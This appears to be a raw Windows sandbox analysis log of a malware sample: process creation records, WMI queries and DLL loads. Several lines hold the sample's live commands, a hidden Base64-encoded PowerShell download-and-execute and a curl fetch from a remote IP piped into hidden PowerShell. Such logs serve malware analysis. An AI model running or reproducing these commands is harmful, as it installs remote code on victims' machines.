Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\svchost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1684,i,15715468711808837882,6335380214044972637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://gogl.to/3HGT"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1684,i,15715468711808837882,6335380214044972637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3634.tmp" "c:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3634.tmp" "c:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
